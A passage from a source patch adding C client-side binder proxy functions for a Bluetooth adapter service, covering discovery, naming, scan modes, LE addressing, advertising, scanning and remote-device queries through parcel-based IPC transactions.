= bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, timeout); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_START_DISCOVERY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_cancelDiscovery(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_CANCEL_DISCOVERY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bool BpBtAdapter_isDiscovering(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IBTADAPTER_IS_DISCOVERING, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bt_status_t BpBtAdapter_getAddress(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_ADDR, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readAddress(parcelOut, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return BT_STATUS_SUCCESS; +} + +bt_status_t BpBtAdapter_setName(BpBtAdapter* bpBinder, const char* name) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, name, strlen(name)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_NAME, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_getName(BpBtAdapter* bpBinder, char* name, int length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + char* btName = NULL; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_NAME, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readString(parcelOut, &btName, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + snprintf(name, length, "%s", btName); + free(btName); + + return BT_STATUS_SUCCESS; +} + +bt_status_t BpBtAdapter_getUuids(BpBtAdapter* bpBinder, bt_uuid_t* uuids, uint16_t* size) +{ + return BT_STATUS_SUCCESS; +} + +bt_status_t BpBtAdapter_setScanMode(BpBtAdapter* bpBinder, bt_scan_mode_t mode, bool bondable) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, mode); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, bondable); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_SCAN_MODE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_scan_mode_t BpBtAdapter_getScanMode(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t mode; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_BR_SCAN_MODE_NONE; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_SCAN_MODE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_BR_SCAN_MODE_NONE; + + stat = AParcel_readUint32(parcelOut, &mode); + if (stat != STATUS_OK) + return BT_BR_SCAN_MODE_NONE; + + return mode; +} + +bt_status_t BpBtAdapter_setDeviceClass(BpBtAdapter* bpBinder, uint32_t cod) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, cod); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_DEVICE_CLASS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +uint32_t BpBtAdapter_getDeviceClass(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t cod; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_DEVICE_CLASS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_readUint32(parcelOut, &cod); + if (stat != STATUS_OK) + return 0; + + return cod; +} + +bt_status_t BpBtAdapter_setIOCapability(BpBtAdapter* bpBinder, bt_io_capability_t cap) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, cap); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_IO_CAP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_io_capability_t BpBtAdapter_getIOCapability(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t io; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_IO_CAPABILITY_UNKNOW; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_IO_CAP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_IO_CAPABILITY_UNKNOW; + + stat = AParcel_readUint32(parcelOut, &io); + if (stat != STATUS_OK) + return BT_IO_CAPABILITY_UNKNOW; + + return io; +} + +bt_status_t BpBtAdapter_SetLeIOCapability(BpBtAdapter* bpBinder, uint32_t le_io_cap) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, le_io_cap); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_LE_IO_CAP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +uint32_t BpBtAdapter_getLeIOCapability(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t le_io; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_IO_CAPABILITY_UNKNOW; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_LE_IO_CAP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_IO_CAPABILITY_UNKNOW; + + stat = AParcel_readUint32(parcelOut, &le_io); + if (stat != STATUS_OK) + return BT_IO_CAPABILITY_UNKNOW; + + return le_io; +} + +bt_status_t BpBtAdapter_getLeAddress(BpBtAdapter* bpBinder, bt_address_t* addr, ble_addr_type_t* type) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_LE_ADDR, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readAddress(parcelOut, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return BT_STATUS_SUCCESS; +} + +bt_status_t BpBtAdapter_setLeAddress(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_LE_ADDR, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_setLeIdentityAddress(BpBtAdapter* bpBinder, bt_address_t* addr, bool is_public) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, is_public); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_LE_ID, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_setLeAppearance(BpBtAdapter* bpBinder, uint16_t appearance) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)appearance); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_LE_APPEARANCE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +uint16_t BpBtAdapter_getLeAppearance(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t appearance; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_LE_APPEARANCE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_readUint32(parcelOut, &appearance); + if (stat != STATUS_OK) + return 0; + + return appearance; +} + +bt_status_t BpBtAdapter_getBondedDevices(BpBtAdapter* bpBinder, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_BONDED_DEVICES, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readAddressArray(parcelOut, addr, num, allocator); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_getConnectedDevices(BpBtAdapter* bpBinder, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_CONNECTED_DEVICES, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readAddressArray(parcelOut, addr, num, allocator); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +void BpBtAdapter_disconnectAllDevices(BpBtAdapter* bpBinder) +{ +} + +bool BpBtAdapter_isSupportBredr(BpBtAdapter* bpBinder) +{ + return false; +} + +bool BpBtAdapter_isSupportLe(BpBtAdapter* bpBinder) +{ + return false; +} + +bool BpBtAdapter_isSupportLeaudio(BpBtAdapter* bpBinder) +{ + return false; +} + +bt_status_t BpBtAdapter_leEnableKeyDerivation(BpBtAdapter* bpBinder, + bool brkey_to_lekey, + bool lekey_to_brkey) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, brkey_to_lekey); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, lekey_to_brkey); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_ENABLE_KEY_DERIVATION, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_advertiser_t* BpBtAdapter_startAdvertising(BpBtAdapter* bpBinder, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t adver; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeBleAdvParam(parcelIn, params); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)adv_data, adv_len); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeUint32(parcelIn, adv_len); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)scan_rsp_data, scan_rsp_len); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeUint32(parcelIn, scan_rsp_len); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IBTADAPTER_START_ADVERTISING, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &adver); + if (stat != STATUS_OK) + return NULL; + + return (bt_advertiser_t*)adver; +} + +bt_status_t BpBtAdapter_stopAdvertising(BpBtAdapter* bpBinder, bt_advertiser_t* adver) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)adver); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_STOP_ADVERTISING, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return BT_STATUS_SUCCESS; +} + +bt_status_t BpBtAdapter_stopAdvertisingId(BpBtAdapter* bpBinder, uint8_t adver_id) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)adver_id); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_STOP_ADVERTISING_ID, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return BT_STATUS_SUCCESS; +} + +bt_scanner_t* BpBtAdapter_startScan(BpBtAdapter* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t scanner; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IBTADAPTER_START_SCAN, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &scanner); + if (stat != STATUS_OK) + return NULL; + + return (bt_scanner_t*)scanner; +} + +bt_scanner_t* BpBtAdapter_startScanSettings(BpBtAdapter* bpBinder, + ble_scan_settings_t* settings, + AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t scanner; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeInt32(parcelIn, settings->scan_mode); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeBool(parcelIn, settings->legacy); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeUint32(parcelIn, settings->scan_phy); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IBTADAPTER_START_SCAN_SETTINGS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &scanner); + if (stat != STATUS_OK) + return NULL; + + return (bt_scanner_t*)scanner; +} + +bt_status_t BpBtAdapter_stopScan(BpBtAdapter* bpBinder, bt_scanner_t* scanner) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)scanner); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_STOP_SCAN, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return BT_STATUS_SUCCESS; +} + +bt_device_type_t BpBtAdapter_getRemoteDeviceType(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bt_device_type_t device_type; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return 0; + + stat = AIBinder_transact(binder, IREMOTE_GET_DEVICE_TYPE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_readUint32(parcelOut, &device_type); + if (stat != STATUS_OK) + return 0; + + return device_type; +} + +bool BpBtAdapter_getRemoteName(BpBtAdapter* bpBinder, bt_address_t* addr, char* name, uint32_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + char* remoteName = NULL; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IREMOTE_GET_NAME, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readString(parcelOut, &remoteName, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return false; + + snprintf(name, length, "%s", remoteName); + free(remoteName); + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +uint32_t BpBtAdapter_getRemoteDeviceClass(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t cod; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return 0; + + stat = AIBinder_transact(binder, IREMOTE_GET_DEVICE_CLASS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_readUint32(parcelOut, &cod); + if (stat != STATUS_OK) + return 0; + + return cod; +} + +bt_status_t BpBtAdapter_getRemoteUuids(BpBtAdapter* bpBinder, bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + bt_uuid_t* uuidArray = NULL; + int uuidSize = 0; + int length; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_GET_UUIDS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUuidArray(parcelOut, (bt_uuid_t*)&uuidArray, &uuidSize); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + *size = (uint16_t)uuidSize; + if (uuidSize) { + length = sizeof(bt_uuid_t) * uuidSize; + if (!allocator((void**)uuids, length)) { + free(uuidArray); + return BT_STATUS_NOMEM; + } + + memcpy(*uuids, uuidArray, length); + free(uuidArray); + } + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +uint16_t BpBtAdapter_getRemoteAppearance(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t appearance; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return 0; + + stat = AIBinder_transact(binder, IREMOTE_GET_APPEARANCE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_readUint32(parcelOut, &appearance); + if (stat != STATUS_OK) + return 0; + + return (uint16_t)appearance; +} + +int8_t BpBtAdapter_getRemoteRssi(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + int8_t rssi; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return 0; + stat = AIBinder_transact(binder, IREMOTE_GET_RSSI, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return 0; + stat = AParcel_readByte(parcelOut, &rssi); + if (stat != STATUS_OK) + return 0; + + return rssi; +} + +bool BpBtAdapter_getRemoteAlias(BpBtAdapter* bpBinder, bt_address_t* addr, char* alias, uint32_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + char* Alias = NULL; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IREMOTE_GET_ALIAS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readString(parcelOut, &Alias, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return false; + + snprintf(alias, length, "%s", Alias); + free(Alias); + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bt_status_t BpBtAdapter_setRemoteAlias(BpBtAdapter* bpBinder, bt_address_t* addr, const char* alias) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, alias, strlen(alias)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_SET_ALIAS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bool BpBtAdapter_isRemoteConnected(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IREMOTE_IS_CONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bool BpBtAdapter_isRemoteEncrypted(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel 